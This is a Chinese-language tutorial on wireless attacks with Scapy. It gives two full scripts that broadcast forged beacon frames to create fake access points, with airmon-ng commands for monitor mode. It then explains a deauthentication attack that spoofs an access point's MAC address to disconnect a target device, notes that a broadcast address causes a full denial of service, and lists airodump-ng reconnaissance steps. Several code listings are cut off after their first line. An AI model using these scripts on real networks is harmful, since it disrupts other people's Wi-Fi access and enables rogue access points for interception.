scapy
1. fake access point
tip
笔记本电脑或手机如何知道附近有哪些无线网络可用?
实际上非常简单,无线接入点会不断向所有附近的无线设备发送信标帧,这些帧包含有关接入点的信息,例如SSID(名称),加密类型,MAC地址等。
本段将使用Scapy将信标帧发送到空中以成功伪造伪造的访问点
代码
伪造一个(无密码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from scapy.all import *
#interface to use to send beacon frames, must be in monitor mode
#接口用于发送信标帧,必须处于监控模式
iface = "wlan0mon"
# generate a random MAC address (built-in in scapy)
sender_mac = RandMAC()
# SSID (name of access point)
ssid = "Test"
# 802.11 frame
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac)
# beacon layer
beacon = Dot11Beacon()
# putting ssid in the frame
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
# stack all the layers and add a RadioTap
frame = RadioTap()/dot11/beacon/essid
# send the frame in layer 2 every 100 milliseconds forever
# using the `iface` interface
sendp(frame, inter=0.1, iface=iface, loop=1)伪造一个(有加密方式)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from scapy.all import *
#interface to use to send beacon frames, must be in monitor mode
#接口用于发送信标帧,必须处于监控模式
iface = "wlan0mon"
# generate a random MAC address (built-in in scapy)
sender_mac = RandMAC()
# SSID (name of access point)
ssid = "Test"
# 802.11 frame
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac)
# beacon layer(cap为空字符串时,就是无加密)
beacon = Dot11Beacon(cap="ESS+privacy")
# putting ssid in the frame
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
# stack all the layers and add a RadioTap
frame = RadioTap()/dot11/beacon/essid
# send the frame in layer 2 every 100 milliseconds forever
# using the `iface` interface
sendp(frame, inter=0.1, iface=iface, loop=1)伪造多个
1 | from scapy.all import * |
我在这里所做的全部工作是将前面的代码行包装到一个函数中,并使用faker package生成随机MAC地址和SSID ,然后为每个访问点启动一个单独的线程,一旦执行脚本,该接口将发送5个信标每100毫秒(至少从理论上来说),这将导致出现五个伪造的访问点
- 完整代码
1 | from scapy.all import * |
伪造
- 杀进程
1 | airmon-ng check kill |
- 开启监听模式
1 | airmon-ng start wlan0 |
- 创建一个802.11帧 (执行代码)
type = 0: 表示是管理帧。
subtype = 8: 表示该管理帧是信标帧。
addr1: 是指目标MAC地址,即接收方的MAC地址,如果您只想显示此伪造的接入点,则在此处使用广播地址(“ ff:ff:ff:ff:ff:ff:ff”)在目标设备中,您可以使用目标的MAC地址。
addr2:源MAC地址,发送方的MAC地址。
addr3:接入点的MAC地址。
所以我们应该使用addr2和addr3相同的MAC地址,这是因为发送者是访问点!
我们使用ssid信息创建信标帧,然后将它们全部堆叠在一起并使用sendp()函数发送它们。
2. Deauth Attack
tip
如何使用Scapy来踢出您实际上不属于Python的特定网络中的设备?
这可以通过使用处于监视模式的网络设备在空中发送取消身份验证帧来完成。
攻击者可以随时用受害计算机的欺骗性MAC地址将取消身份验证帧发送到无线访问点,从而使该访问点对该用户进行取消身份验证。
scapy有一个数据包类Dot11Deauth()可以满足我们的要求,它以802.11原因码作为参数,我们现在选择值7
代码
- 初级
1 | from scapy.all import * |
这基本上是访问点请求从目标设备撤消身份验证的原因,这就是为什么我们将目标MAC地址设置为目标设备的MAC地址,将源MAC地址设置为访问点的MAC地址,然后我们将堆叠帧发送100次的原因0.1s,这将导致取消身份验证10秒钟。
您还可以将“ ff:ff:ff:ff:ff:ff:ff”(广播MAC地址)设置为addr1,这将导致完全拒绝服务,因为没有设备可以连接到该访问点,因此非常有害!
- 完整代码
1 | from scapy.all import * |
攻击
- 开启监视模式
1 | sudo airmon-ng start wlan0 |
我的网络接口称为wlan0,但是您应该使用正确的网络接口名称。
- 获得网关和目标MAC地址
1 | airodump-ng wlan0mon |
wlan0mon是我在监视方式下的网络接口名称
此命令将继续监听802.11信标帧,并为您以及附近的连接设备安排Wi-Fi网络。
- 执行代码